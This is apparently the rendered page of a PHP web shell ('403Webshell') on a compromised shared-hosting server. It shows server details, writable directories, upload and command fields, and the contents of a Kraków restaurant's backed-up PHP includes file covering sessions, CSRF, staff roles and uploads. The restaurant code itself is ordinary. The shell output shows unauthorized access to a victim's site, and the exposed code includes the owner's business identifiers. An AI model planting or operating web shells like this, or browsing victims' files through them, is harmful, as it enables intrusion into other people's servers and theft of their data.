403Webshell
Server IP : 188.114.97.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /.polana_v1801_rollback/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /.polana_v1801_rollback/includes__functions.php.backup
<?php
declare(strict_types=1);
/* POLANA_V11_LANG_INSTALL */
require_once __DIR__.'/polana_v11_lang.php';
/* POLANA_OPINIE_SIMPLE_INCLUDE_V2 */
require_once __DIR__ . '/opinie_simple.php';
/* POLANA_NEWSLETTER_INCLUDE_V1_1 */
require_once __DIR__ . '/newsletter.php';


require_once __DIR__ . '/db.php';
require_once __DIR__ . '/global_splash.php';
require_once __DIR__ . '/pot_visual.php';
require_once __DIR__ . '/seasonal_visual.php';
require_once __DIR__ . '/seasonal_illustration.php';
require_once __DIR__ . '/social.php';
require_once __DIR__ . '/smtp.php';
require_once __DIR__ . '/reservations.php';
require_once __DIR__ . '/schedule.php';
require_once __DIR__ . '/operations.php';
require_once __DIR__ . '/blog.php';
require_once __DIR__ . '/staff_portal.php';
require_once __DIR__ . '/tips.php';
require_once __DIR__ . '/tips_kiosk.php';
require_once __DIR__ . '/tips_import.php';

require_once __DIR__ . '/polana_domain.php';
require_once __DIR__ . '/polana_i18n.php';

function e(?string $value): string
{
    return htmlspecialchars((string)$value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

function session_lifetime_seconds(): int
{
    return 30 * 24 * 60 * 60; // 30 dni
}

function start_session(): void
{
    if (session_status() === PHP_SESSION_ACTIVE) {
        return;
    }

    $lifetime = session_lifetime_seconds();

    // Własny katalog sesji jest stabilniejszy na hostingu współdzielonym.
    $sessionDir = dirname(__DIR__) . '/storage/sessions';

    if (!is_dir($sessionDir)) {
        @mkdir($sessionDir, 0700, true);
    }

    if (is_dir($sessionDir) && is_writable($sessionDir)) {
        session_save_path($sessionDir);
    }

    // Trzymamy sesję także po zamknięciu przeglądarki.
    // Ustawienia są przed session_start(), żeby hosting nie skrócił sesji do domyślnego czasu.
    @ini_set('session.gc_maxlifetime', (string)$lifetime);
    @ini_set('session.cookie_lifetime', (string)$lifetime);
    @ini_set('session.use_strict_mode', '1');

    session_name('POLANA_ADMIN');

    $secure = (
        (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ||
        (($_SERVER['HTTP_X_FORWARDED_PROTO'] ?? '') === 'https') ||
        (($_SERVER['HTTP_X_FORWARDED_SSL'] ?? '') === 'on')
    );

    session_set_cookie_params([
        'lifetime' => $lifetime,
        'path' => '/',
        'secure' => $secure,
        'httponly' => true,
        'samesite' => 'Lax',
    ]);

    session_start();

    // Sliding session: każde normalne użycie panelu przesuwa ważność o kolejne 30 dni.
    if (session_status() === PHP_SESSION_ACTIVE) {
        $now = time();
        $lastRefresh = (int)($_SESSION['_cookie_refreshed_at'] ?? 0);

        if ($lastRefresh < ($now - 3600)) {
            setcookie(session_name(), session_id(), [
                'expires' => $now + $lifetime,
                'path' => '/',
                'secure' => $secure,
                'httponly' => true,
                'samesite' => 'Lax',
            ]);
            $_SESSION['_cookie_refreshed_at'] = $now;
        }
    }
}

function setting(string $key, string $default = ''): string
{
    static $cache = null;

    if ($cache === null) {
        $cache = [];
        try {
            $rows = db()->query('SELECT setting_key, setting_value FROM settings')->fetchAll();
            foreach ($rows as $row) {
                $cache[$row['setting_key']] = (string)($row['setting_value'] ?? '');
            }
        } catch (Throwable $e) {
            return $default;
        }
    }

    return array_key_exists($key, $cache) ? $cache[$key] : $default;
}

function clear_settings_cache(): void
{
    // Cache is per-request, so nothing is required here.
}

function current_scheme(): string
{
    if (
        (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ||
        (($_SERVER['HTTP_X_FORWARDED_PROTO'] ?? '') === 'https')
    ) {
        return 'https';
    }

    return 'http';
}

function site_url(string $path = ''): string
{
    // One explicit deployment setting prevents stale DB site_url values from
    // leaking the previous domain into canonical, hreflang, RSS, emails or assets.
    $forced = defined('POLANA_PUBLIC_ORIGIN') ? rtrim(trim((string)POLANA_PUBLIC_ORIGIN), '/') : '';
    if ($forced !== '' && filter_var($forced, FILTER_VALIDATE_URL)) {
        $base = $forced;
    } else {
        $configured = trim(setting('site_url', ''));
        if ($configured !== '') {
            $base = rtrim($configured, '/');
        } else {
            $host = $_SERVER['HTTP_HOST'] ?? 'localhost';
            $base = current_scheme() . '://' . $host;
        }
    }

    if ($path === '') {
        return $base;
    }

    return $base . '/' . ltrim($path, '/');
}

function asset(string $path): string
{
    return site_url('assets/' . ltrim($path, '/'));
}

function asset_v(string $path): string
{
    $clean = ltrim($path, '/');
    $absolute = dirname(__DIR__) . '/assets/' . $clean;
    $version = is_file($absolute) ? (string)filemtime($absolute) : (string)time();
    return asset($clean) . '?v=' . rawurlencode($version);
}

function redirect(string $url): never
{
    header('Location: ' . $url);
    exit;
}

function csrf_token(): string
{
    start_session();

    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }

    return $_SESSION['csrf_token'];
}

function csrf_field(): string
{
    return '<input type="hidden" name="csrf_token" value="' . e(csrf_token()) . '">';
}

function verify_csrf(): void
{
    start_session();
    $sent = $_POST['csrf_token'] ?? '';

    if (!is_string($sent) || !hash_equals($_SESSION['csrf_token'] ?? '', $sent)) {
        http_response_code(419);
        exit('Sesja formularza wygasła. Wróć do poprzedniej strony i spróbuj ponownie.');
    }
}

function flash(string $type, string $message): void
{
    start_session();
    $_SESSION['flash'][] = ['type' => $type, 'message' => $message];
}

function consume_flashes(): array
{
    start_session();
    $flashes = $_SESSION['flash'] ?? [];
    unset($_SESSION['flash']);
    return is_array($flashes) ? $flashes : [];
}

function is_logged_in(): bool
{
    start_session();
    return !empty($_SESSION['user_id']);
}


function session_mark_login(): void
{
    start_session();
    $now = time();
    $_SESSION['_login_at'] = $now;
    $_SESSION['_cookie_refreshed_at'] = $now;
}

function session_forget_cookie(): void
{
    $secure = (
        (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ||
        (($_SERVER['HTTP_X_FORWARDED_PROTO'] ?? '') === 'https') ||
        (($_SERVER['HTTP_X_FORWARDED_SSL'] ?? '') === 'on')
    );

    setcookie('POLANA_ADMIN', '', [
        'expires' => time() - 3600,
        'path' => '/',
        'secure' => $secure,
        'httponly' => true,
        'samesite' => 'Lax',
    ]);
}



function site_public_mode(): string
{
    return setting('site_public_mode', 'normal');
}

function public_preview_is_logged_in(): bool
{
    // Dla zwykłego gościa nie uruchamiamy sesji PHP. Dopiero jeśli istnieje
    // cookie panelu, sprawdzamy prawdziwą sesję użytkownika.
    if (empty($_COOKIE['POLANA_ADMIN'])) {
        return false;
    }

    start_session();
    return !empty($_SESSION['user_id']);
}

function render_global_site_splash_if_needed(): void
{
    if (site_public_mode() !== 'splash') {
        return;
    }

    // Zachowanie jak maintenance mode w WordPressie:
    // zalogowany widzi stronę, niezalogowany widzi zaślepkę.
    if (public_preview_is_logged_in()) {
        return;
    }

    render_global_splash_page();
}

function public_splash_preview_active(): bool
{
    return site_public_mode() === 'splash' && public_preview_is_logged_in();
}

function require_login(): void
{
    if (!is_logged_in()) {
        redirect('/admin/login.php');
    }

    $user = admin_user();

    $role = (string)($user['role'] ?? '');

    $scriptName = (string)($_SERVER['SCRIPT_NAME'] ?? '');

    if ($role === 'manager' && str_starts_with($scriptName, '/admin/')) {
        $allowed = [
            'index.php', 'schedule.php', 'schedule-day.php',
            'reservations.php', 'reservation.php', 'reservations-day.php',
            'tips.php', 'tips-export.php', 'tips-import.php', 'tips-template.php',
            'tips-photo.php', 'tips-photo-file.php', 'tips-kiosk.php', 'today.php', 'manager-report.php', 'logout.php'
        ];
        $script = basename($scriptName);
        if ($script !== '' && !in_array($script, $allowed, true)) {
            http_response_code(403);
            exit('Konto managera ma dostęp do grafiku, rezerwacji i napiwków.');
        }
    }

    if (in_array($role, ['waiter', 'kitchen'], true) && str_starts_with($scriptName, '/admin/')) {
        $allowed = $role === 'waiter'
            ? ['index.php', 'reservations.php', 'reservation.php', 'reservations-day.php', 'tips.php', 'tips-export.php', 'schedule.php', 'logout.php']
            : ['index.php', 'tips.php', 'tips-export.php', 'schedule.php', 'logout.php'];

        $script = basename($scriptName);

        if ($script !== '' && !in_array($script, $allowed, true)) {
            http_response_code(403);
            exit(
                $role === 'waiter'
                    ? 'Konto kelnera ma dostęp tylko do rezerwacji, grafiku i napiwków.'
                    : 'Konto kuchni ma dostęp tylko do grafiku i napiwków.'
            );
        }
    }
}

function require_admin_role(): void
{
    require_login();
    $user = admin_user();

    if (!$user || ($user['role'] ?? '') !== 'admin') {
        http_response_code(403);
        exit('Brak uprawnień administratora.');
    }
}

function admin_user(): ?array
{
    if (!is_logged_in()) {
        return null;
    }

    static $user = null;

    if ($user === null) {
        $stmt = db()->prepare('SELECT id, username, name, role FROM users WHERE id = ? AND active = 1 LIMIT 1');
        $stmt->execute([(int)$_SESSION['user_id']]);
        $user = $stmt->fetch() ?: false;
    }

    return $user ?: null;
}

function admin_log(string $action, string $description = ''): void
{
    $user = admin_user();

    $stmt = db()->prepare(
        'INSERT INTO admin_logs (user_id, action, description, ip_address) VALUES (?, ?, ?, ?)'
    );
    $stmt->execute([
        $user['id'] ?? null,
        $action,
        $description,
        $_SERVER['REMOTE_ADDR'] ?? null,
    ]);
}

function active_menu(string $type = 'food'): ?array
{
    $type = polana_menu_type($type);
    $today = date('Y-m-d');
    $typeSql = polana_schema_ready() ? ' AND menu_type = ?' : '';
    if (!polana_schema_ready() && $type !== 'food') {
        return null;
    }
    $stmt = db()->prepare(
        "SELECT * FROM menus WHERE status = 'published'"
        . $typeSql . " AND (valid_from IS NULL OR valid_from <= ?)"
        . " AND (valid_to IS NULL OR valid_to >= ?)"
        . " ORDER BY COALESCE(valid_from, '1900-01-01') DESC, id DESC LIMIT 1"
    );
    $stmt->execute(array_merge($typeSql ? [$type] : [], [$today, $today]));
    $menu = $stmt->fetch();
    if ($menu) return $menu;
    $stmt = db()->prepare(
        "SELECT * FROM menus WHERE status='published'" . $typeSql . ' ORDER BY id DESC LIMIT 1'
    );
    $stmt->execute($typeSql ? [$type] : []);
    return $stmt->fetch() ?: null;
}

function menu_categories_with_items(int $menuId, bool $admin = false): array
{
    $sql = 'SELECT * FROM menu_categories WHERE menu_id = ?';
    if (!$admin) {
        $sql .= ' AND active = 1';
    }
    $sql .= ' ORDER BY sort_order ASC, id ASC';

    $stmt = db()->prepare($sql);
    $stmt->execute([$menuId]);
    $categories = $stmt->fetchAll();

    foreach ($categories as &$category) {
        $sqlItems = 'SELECT * FROM menu_items WHERE category_id = ?';
        if (!$admin) {
            $sqlItems .= ' AND active = 1 AND available = 1';
        }
        $sqlItems .= ' ORDER BY sort_order ASC, id ASC';

        $itemStmt = db()->prepare($sqlItems);
        $itemStmt->execute([(int)$category['id']]);
        $category['items'] = $itemStmt->fetchAll();
    }
    unset($category);

    return $categories;
}

function restaurant_schema(): array
{
    $schema = [
        '@context' => 'https://schema.org',
        '@type' => 'Restaurant',
        'name' => setting('site_name', APP_NAME),
        'url' => site_url('/'),
        'image' => asset('img/logo.png'),
        'menu' => site_url(polana_local_path('/menu-seo')),
    ];

    if (setting('phone') !== '') {
        $schema['telephone'] = setting('phone');
    }

    if (setting('email') !== '') {
        $schema['email'] = setting('email');
    }

    $address = array_filter([
        'streetAddress' => setting('address'),
        'postalCode' => setting('postal_code'),
        'addressLocality' => setting('city'),
        'addressCountry' => 'PL',
    ]);

    if (count($address) > 1) {
        $schema['address'] = array_merge(['@type' => 'PostalAddress'], $address);
    }

    $sameAs = array_values(array_filter(array_map(
        static fn(array $item): string => $item['url'],
        social_links()
    )));

    if ($sameAs) {
        $schema['sameAs'] = $sameAs;
    }

    if (setting('price_range') !== '') {
        $schema['priceRange'] = setting('price_range');
    }

    return $schema;
}

function render_public_head(
    string $title,
    string $description,
    string $canonicalPath,
    ?array $extraSchema = null,
    string $robots = 'index,follow'
): void {
    polana_start_translation_buffer();
    render_global_site_splash_if_needed();
    /* POLANA_V12_SERVER_I18N */
    require_once __DIR__.'/polana_v12_pages.php';
    p12_boot();
    $v11CurrentLang = p11_lang();
    $canonical = site_url(p11_path($canonicalPath,$v11CurrentLang));
    if ($v11CurrentLang !== 'pl') {
        $v11Meta=p11_meta($canonicalPath,$v11CurrentLang);
        if ($v11Meta) { $title=$v11Meta['title']; $description=$v11Meta['description']; }
        if (!p11_page_ready($canonicalPath,$v11CurrentLang)) $robots = 'noindex,follow';
    }
    $schemas = [restaurant_schema()];
    if ($extraSchema) {
        $schemas[] = $extraSchema;
    }
    ?>
<!doctype html>
<html lang="<?= polana_lang() ?>">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title><?= e($title) ?></title>
    <meta name="description" content="<?= e($description) ?>">
    <meta name="robots" content="<?= e($robots) ?>">
    <link rel="canonical" href="<?= e($canonical) ?>">
    <?php foreach(p11_hreflang($canonicalPath) as $v11Code=>$v11Url): ?><link rel="alternate" hreflang="<?= e($v11Code) ?>" href="<?= e($v11Url) ?>"><?php endforeach; ?>
    <link rel="alternate" hreflang="pl" href="<?= e(site_url(polana_local_path($canonicalPath, 'pl'))) ?>">
    <link rel="alternate" hreflang="en" href="<?= e(site_url(polana_local_path($canonicalPath, 'en'))) ?>">
    <link rel="alternate" hreflang="x-default" href="<?= e(site_url(polana_local_path($canonicalPath, 'pl'))) ?>">

    <meta property="og:locale" content="<?= polana_lang() === 'en' ? 'en_GB' : 'pl_PL' ?>">
    <meta property="og:type" content="website">
    <?php
    $ogImage = trim(setting('default_og_image', ''));
    if ($ogImage === '') {
        $ogImage = asset('img/logo.png');
    }
    $ogTitle = polana_lang() === 'en' ? $title : (trim(setting('og_title_override', '')) !== '' ? setting('og_title_override') : $title);
    $ogDescription = polana_lang() === 'en' ? $description : (trim(setting('og_description_override', '')) !== '' ? setting('og_description_override') : $description);
    ?>
    <meta property="og:title" content="<?= e($ogTitle) ?>">
    <meta property="og:description" content="<?= e($ogDescription) ?>">
    <meta property="og:url" content="<?= e($canonical) ?>">
    <meta property="og:image" content="<?= e($ogImage) ?>">
    <meta property="og:site_name" content="<?= e(setting('site_name', APP_NAME)) ?>">
    <meta name="twitter:card" content="<?= e(setting('twitter_card_type', 'summary_large_image')) ?>">
    <meta name="twitter:title" content="<?= e($ogTitle) ?>">
    <meta name="twitter:description" content="<?= e($ogDescription) ?>">
    <meta name="twitter:image" content="<?= e($ogImage) ?>">
    <?php if (setting('google_verification') !== ''): ?>
        <meta name="google-site-verification" content="<?= e(setting('google_verification')) ?>">
    <?php endif; ?>
    <?php if (setting('facebook_app_id') !== ''): ?>
        <meta property="fb:app_id" content="<?= e(setting('facebook_app_id')) ?>">
    <?php endif; ?>

    <link rel="icon" type="image/png" href="<?= e(asset('img/favicon.png')) ?>">
    <link rel="apple-touch-icon" href="<?= e(asset('img/favicon.png')) ?>">
    <link rel="manifest" href="/manifest.webmanifest">
    <?php if (blog_public_enabled()): ?><link rel="alternate" type="application/rss+xml" title="Blog – <?= e(setting('site_name', APP_NAME)) ?>" href="/blog/rss.xml"><?php endif; ?>
    <meta name="theme-color" content="#111111">
    <link rel="stylesheet" href="<?= e(asset_v('css/style.css')) ?>">
    <!-- POLANA_HERITAGE_CSS_V2 -->
    <link rel="stylesheet" href="<?= e(asset_v('css/polana-heritage.css')) ?>">
    <link rel="stylesheet" href="/assets/css/polana-v11-flags.css?v=11">

    <script type="application/ld+json"><?= json_encode(
        count($schemas) === 1 ? $schemas[0] : $schemas,
        JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_HEX_TAG
    ) ?></script>
    <?php /* POLANA_TRACKING_HEAD_V174 */ require_once __DIR__ . '/polana_tracking.php'; polana_tracking_head(); ?>
</head>
<body>
<?php
}

function render_public_header(string $active = ''): void
{
    ?>
<?php if (public_splash_preview_active()): ?>
<div class="splash-preview-bar">
    <div class="container splash-preview-bar-inner">
        <strong>Podgląd zalogowanego</strong>
        <span>Dla gości aktywna jest zaślepka.</span>
        <a href="/admin/seo.php">Ustawienia zaślepki</a>
    </div>
</div>
<?php endif; ?>
<header class="site-header">
    <?php if (setting('social_top_enabled', '1') === '1' && has_social_links()): ?>
        <div class="social-topbar">
            <div class="container social-topbar-inner">
                <span>Polana Smaków · Restauracja Andrzeja Polana</span>
                <?php render_social_links('social-links-top'); ?>
            </div>
        </div>
    <?php endif; ?>
    <div class="container header-inner">
        <a href="<?= e(p11_path('/',p11_lang())) ?>" class="brand" aria-label="Moja Polana Smaków – strona główna">
            <img src="<?= e(asset('img/logo.png')) ?>" alt="Moja Polana Smaków – Andrzej Polan">
        </a>

        <button class="nav-toggle" type="button" aria-expanded="false" aria-controls="main-nav">
            Menu
        </button>

        <nav id="main-nav" class="main-nav" aria-label="Nawigacja główna">
            <a class="<?= $active === 'home' ? 'active' : '' ?>" href="<?= e(p11_path('/',p11_lang())) ?>">Start</a>
            <a class="<?= $active === 'andrzej' ? 'active' : '' ?>" href="<?= e(p11_path('/andrzej-polan',p11_lang())) ?>">Andrzej Polan</a>
            <a class="<?= $active === 'menu' ? 'active' : '' ?>" href="<?= e(p11_path('/menu',p11_lang())) ?>">Menu</a>
            <?php if (reservations_enabled()): ?>
                <a class="<?= $active === 'reservation' ? 'active' : '' ?>" href="<?= e(p11_path('/rezerwacja',p11_lang())) ?>">Rezerwacja</a>
            <?php endif; ?>
            <?php if (setting('nav_gallery_enabled', '0') === '1'): ?>
                <a class="<?= $active === 'gallery' ? 'active' : '' ?>" href="<?= e(p11_path('/galeria',p11_lang())) ?>">Galeria</a>
            <?php endif; ?>
            <?php if (setting('nav_blog_enabled', '0') === '1'): ?>
                <a class="<?= $active === 'blog' ? 'active' : '' ?>" href="<?= e(p11_path('/blog',p11_lang())) ?>">Blog</a>
            <?php endif; ?>
            <?php if (setting('nav_collaboration_enabled', '0') === '1'): ?>
                <a class="<?= $active === 'collaboration' ? 'active' : '' ?>" href="<?= e(p11_path('/wspolpraca',p11_lang())) ?>">Współpraca</a>
            <?php endif; ?>
            <a class="<?= $active === 'contact' ? 'active' : '' ?>" href="<?= e(p11_path('/kontakt',p11_lang())) ?>">Kontakt</a>
                    <?php p11_render_switcher(); ?>
        </nav>
        <div class="polana-lang-switch" aria-label="Language / Język">
            <a href="<?= e(polana_switch_url('pl')) ?>" hreflang="pl" lang="pl"
               class="<?= polana_lang() === 'pl' ? 'selected' : '' ?>" aria-label="Polski" title="Polski">🇵🇱 <span>PL</span></a>
            <a href="<?= e(polana_switch_url('en')) ?>" hreflang="en" lang="en"
               class="<?= polana_lang() === 'en' ? 'selected' : '' ?>" aria-label="English" title="English">🇬🇧 <span>EN</span></a>
        </div>
    </div>
</header>
<?php
}

function render_public_footer(): void
{
    /* POLANA_GOOGLE_REVIEWS_FOOTER_V1 */
    if (function_exists('polana_google_reviews_render')) polana_google_reviews_render();

    /* POLANA_NEWSLETTER_FOOTER_V1_1 */
    if (function_exists('newsletter_render_footer')) newsletter_render_footer();

    ?>
<footer class="site-footer">
    <div class="container footer-grid">
        <div>
            <img class="footer-logo" src="<?= e(asset('img/logo.png')) ?>" alt="Moja Polana Smaków">
            <p><?= e(setting('owner_name', 'Andrzej Polan')) ?></p>
            <?php render_social_links('social-links-footer'); ?>
        </div>

        <div>
            <strong>Na skróty</strong>
            <a href="<?= e(p11_path('/andrzej-polan',p11_lang())) ?>">Andrzej Polan</a>
            <a href="<?= e(p11_path('/menu',p11_lang())) ?>">Aktualne menu</a>
            <?php if (reservations_enabled()): ?>
                <a href="<?= e(p11_path('/rezerwacja',p11_lang())) ?>">Rezerwacja</a>
            <?php endif; ?>
            <?php if (setting('nav_gallery_enabled', '0') === '1'): ?>
                <a href="<?= e(p11_path('/galeria',p11_lang())) ?>">Galeria</a>
            <?php endif; ?>
            <?php if (setting('nav_blog_enabled', '0') === '1'): ?>
                <a href="<?= e(p11_path('/blog',p11_lang())) ?>">Blog</a>
            <?php endif; ?>
            <?php if (setting('nav_collaboration_enabled', '0') === '1'): ?>
                <a href="<?= e(p11_path('/wspolpraca',p11_lang())) ?>">Współpraca</a>
            <?php endif; ?>
            <a href="<?= e(p11_path('/kontakt',p11_lang())) ?>">Kontakt</a>
            <a href="<?= e(p11_path('/alergeny',p11_lang())) ?>">Składniki i alergeny</a>
            <a href="<?= e(p11_path('/polityka-prywatnosci',p11_lang())) ?>">Polityka prywatności</a>
        </div>

        <div>
            <strong>Kontakt</strong>
            <?php if (setting('phone') !== ''): ?>
                <a href="tel:<?= e(preg_replace('/\s+/', '', setting('phone'))) ?>"><?= e(setting('phone')) ?></a>
            <?php endif; ?>
            <?php if (setting('email') !== ''): ?>
                <a href="mailto:<?= e(setting('email')) ?>"><?= e(setting('email')) ?></a>
            <?php endif; ?>
            <?php if (setting('city') !== ''): ?>
                <span><?= e(trim(setting('address') . ', ' . setting('postal_code') . ' ' . setting('city'), ', ')) ?></span>
            <?php endif; ?>
        </div>
    </div>
    <div class="container footer-bottom footer-bottom-legal">
        <span>© <?= date('Y') ?> <?= e(setting('site_name', APP_NAME)) ?></span>
        <span>ANDRZEJ POLAN · NIP 7361000321 · REGON 490451846</span>
        <span>ul. Bożego Ciała 15, 31-059 Kraków</span>
    </div>
</footer>
<script src="/assets/js/polana-v11-links.js?v=11" defer></script>
<!-- POLANA_V13_FLAGS -->
<script src="/assets/js/polana-v13-flags-clean.js?v=13" defer></script>
<!-- POLANA_HERITAGE_JS_V2 -->
<script src="<?= e(asset_v('js/polana-heritage.js')) ?>" defer></script>
<script src="<?= e(asset_v('js/app.js')) ?>" defer></script>
<script src="<?= e(asset_v('js/pwa.js')) ?>" defer></script>
<!-- POLANA_I18N_UI_V96 -->
<script src="/assets/js/polana-i18n-map-v96.js?v=96" defer></script>
<script src="/assets/js/polana-i18n-ui-v96.js?v=96" defer></script>
    <?php /* POLANA_TRACKING_FOOTER_V174 */ if (function_exists('polana_tracking_footer')) polana_tracking_footer(); ?>
</body>
</html>
<?php
}

function render_admin_header(string $title = 'Panel'): void
{
    require_login();
    $user = admin_user();
    $flashes = consume_flashes();
    $role = (string)($user['role'] ?? '');
    $roleLabel = match ($role) {
        'waiter' => 'Kelner',
        'kitchen' => 'Kuchnia',
        'manager' => 'Manager',
        'editor' => 'Redaktor',
        default => 'Administrator',
    };
    ?>
<!doctype html>
<html lang="pl">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="robots" content="noindex,nofollow">
    <title><?= e($title) ?> – Panel</title>
    <link rel="icon" type="image/png" href="/assets/img/favicon.png">
    <link rel="manifest" href="/admin/manifest.webmanifest">
    <meta name="theme-color" content="#111111">
    <link rel="stylesheet" href="<?= e(asset_v('css/admin.css')) ?>">
</head>
<body class="admin-body">
<header class="admin-top">
    <a class="admin-brand" href="/admin/">
        <img src="/assets/img/favicon.png" alt="">
        <span>Polana</span>
    </a>

    <button
        class="admin-nav-toggle"
        type="button"
        aria-expanded="false"
        aria-controls="admin-main-nav"
        data-admin-nav-toggle
    >
        <span>Menu</span>
        <i aria-hidden="true"></i>
    </button>

    <nav id="admin-main-nav" class="admin-nav" data-admin-nav>
        <a href="/admin/">Pulpit</a>
        <!-- POLANA_V175_NAV -->
        <?php if ($role === 'admin'): ?><a href="/admin/polana-godziny-rezerwacji.php">Godziny rezerwacji</a><?php endif; ?>
        <!-- POLANA_V167_MANAGEMENT_NAV -->
        <?php if (in_array($role, ['admin','editor'], true)): ?>
            <a href="/admin/polana-zarzadzanie.php">Zarządzanie</a>
            <a href="/admin/polana-menu-centrum.php">Menu</a>
        <?php endif; ?>
        <?php if ($role === 'admin'): ?>
            <a href="/admin/polana-seo-centrum.php">SEO i Google</a>
        <?php endif; ?>

        <?php if (in_array($role, ['admin','editor','manager'], true)): ?>
            <a href="/admin/today.php">Dzisiaj</a>
        <?php endif; ?>

        <a href="/admin/schedule.php">Grafik</a>

        <?php if ($role !== 'kitchen'): ?>
            <a href="/admin/reservations.php">Rezerwacje</a>
        <?php endif; ?>

        <?php if (in_array($role, ['admin','editor','manager','waiter','kitchen'], true)): ?>
            <a href="/admin/tips.php">Napiwki</a>
        <?php endif; ?>

        <?php if (in_array($role, ['admin','manager'], true)): ?>
            <details class="admin-nav-group">
                <summary>Operacje</summary>
                <div class="admin-nav-dropdown">
                    <a href="/admin/tips-kiosk.php">Terminal tipów</a>
                    <a href="/admin/manager-report.php">Raport</a>
                </div>
            </details>
        <?php endif; ?>

        <?php if (!in_array($role, ['waiter','kitchen','manager'], true)): ?>
            <details class="admin-nav-group">
                <summary>Treści</summary>
                <div class="admin-nav-dropdown">
                    <!-- POLANA_V163_SIMPLE_NAV -->
                    <a href="/admin/polana-centrum-tresci.php">Centrum treści</a>
                    <a href="/admin/media.php">Zdjęcia</a>
                </div>
            </details>

            <details class="admin-nav-group">
                <summary>System</summary>
                <div class="admin-nav-dropdown admin-nav-dropdown-right">
                    <a href="/admin/settings.php">Ustawienia</a>
                    <?php if ($role === 'admin'): ?>
                        <a href="/admin/users.php">Użytkownicy</a>
                        <a href="/admin/database-backup.php">Backup SQL</a>
                    <?php endif; ?>
                    <?php if ($role === 'admin'): ?><a href="/admin/polana-analityka.php">Analityka i piksele</a><?php endif; ?>
                    <a href="/admin/seo.php">SEO / zaślepka</a>
                    <a href="/admin/qr.php">QR</a>
                </div>
            </details>
        <?php endif; ?>
    </nav>

    <details class="admin-account">
        <summary>
            <span class="admin-account-name"><?= e($user['name'] ?: $user['username']) ?></span>
            <small><?= e($roleLabel) ?></small>
        </summary>
        <div class="admin-account-menu">
            <button
                type="button"
                class="admin-account-action pwa-install-btn"
                data-pwa-install
                hidden
            >
                Zainstaluj aplikację
            </button>
            <a href="/" target="_blank" rel="noopener">Otwórz stronę ↗</a>
            <a href="/admin/logout.php" class="admin-account-logout">Wyloguj</a>
        </div>
    </details>
</header>

<main class="admin-main">
    <?php foreach ($flashes as $flash): ?>
        <div class="flash flash-<?= e($flash['type']) ?>"><?= e($flash['message']) ?></div>
    <?php endforeach; ?>
<?php
}

function render_admin_footer(): void
{
    ?>
</main>
<script src="<?= e(asset_v('js/admin.js')) ?>" defer></script>
<script src="<?= e(asset_v('js/pwa.js')) ?>"></script>
</body>
</html>
<?php
}

function upload_file(
    array $file,
    string $targetDir,
    array $allowedMimes,
    int $maxBytes
): ?string {
    if (($file['error'] ?? UPLOAD_ERR_NO_FILE) === UPLOAD_ERR_NO_FILE) {
        return null;
    }

    if (($file['error'] ?? UPLOAD_ERR_OK) !== UPLOAD_ERR_OK) {
        throw new RuntimeException('Błąd podczas wysyłania pliku.');
    }

    if (($file['size'] ?? 0) > $maxBytes) {
        throw new RuntimeException('Plik jest za duży.');
    }

    $tmp = $file['tmp_name'] ?? '';
    if (!is_uploaded_file($tmp)) {
        throw new RuntimeException('Nieprawidłowy upload.');
    }

    $mime = (new finfo(FILEINFO_MIME_TYPE))->file($tmp);
    if (!in_array($mime, $allowedMimes, true)) {
        throw new RuntimeException('Niedozwolony typ pliku.');
    }

    $extMap = [
        'application/pdf' => 'pdf',
        'image/jpeg' => 'jpg',
        'image/png' => 'png',
        'image/webp' => 'webp',
    ];

    $ext = $extMap[$mime] ?? 'bin';
    $name = bin2hex(random_bytes(16)) . '.' . $ext;

    $absolute = dirname(__DIR__) . '/' . trim($targetDir, '/') . '/';
    if (!is_dir($absolute) && !mkdir($absolute, 0775, true) && !is_dir($absolute)) {
        throw new RuntimeException('Nie można utworzyć katalogu uploadu.');
    }

    if (!move_uploaded_file($tmp, $absolute . $name)) {
        throw new RuntimeException('Nie udało się zapisać pliku.');
    }

    return '/' . trim($targetDir, '/') . '/' . $name;
}

Youez - 2016 - github.com/yon3zu
LinuXploit